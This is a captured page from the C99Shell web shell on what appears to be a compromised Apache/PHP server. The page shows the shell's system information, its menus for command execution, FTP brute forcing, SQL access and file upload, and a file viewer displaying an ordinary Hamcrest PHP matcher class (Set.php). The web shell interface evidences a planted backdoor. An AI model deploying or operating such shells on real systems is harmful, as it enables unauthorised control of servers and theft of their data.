!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/   drwxr-xr-x
Free 13.23 GB of 57.97 GB (22.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Set.php (2.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest\Core;

/*
 Copyright (c) 2010 hamcrest.org
 */
use Hamcrest\BaseMatcher;
use 
Hamcrest\Description;

/**
 * Tests if a value (class, object, or array) has a named property.
 *
 * For example:
 * <pre>
 * assertThat(array('a', 'b'), set('b'));
 * assertThat($foo, set('bar'));
 * assertThat('Server', notSet('defaultPort'));
 * </pre>
 *
 * @todo Replace $property with a matcher and iterate all property names.
 */
class Set extends BaseMatcher
{

    private 
$_property;
    private 
$_not;

    public function 
__construct($property$not false)
    {
        
$this->_property $property;
        
$this->_not $not;
    }

    public function 
matches($item)
    {
        if (
$item === null) {
            return 
false;
        }
        
$property $this->_property;
        if (
is_array($item)) {
            
$result = isset($item[$property]);
        } elseif (
is_object($item)) {
            
$result = isset($item->$property);
        } elseif (
is_string($item)) {
            
$result = isset($item::$$property);
        } else {
            throw new 
\InvalidArgumentException('Must pass an object, array, or class name');
        }

        return 
$this->_not ? !$result $result;
    }

    public function 
describeTo(Description $description)
    {
        
$description->appendText($this->_not 'unset property ' 'set property ')->appendText($this->_property);
    }

    public function 
describeMismatch($itemDescription $description)
    {
        
$value '';
        if (!
$this->_not) {
            
$description->appendText('was not set');
        } else {
            
$property $this->_property;
            if (
is_array($item)) {
                
$value $item[$property];
            } elseif (
is_object($item)) {
                
$value $item->$property;
            } elseif (
is_string($item)) {
                
$value $item::$$property;
            }
            
parent::describeMismatch($value$description);
        }
    }

    
/**
     * Matches if value (class, object, or array) has named $property.
     *
     * @factory
     */
    
public static function set($property)
    {
        return new 
self($property);
    }

    
/**
     * Matches if value (class, object, or array) does not have named $property.
     *
     * @factory
     */
    
public static function notSet($property)
    {
        return new 
self($propertytrue);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.015 ]--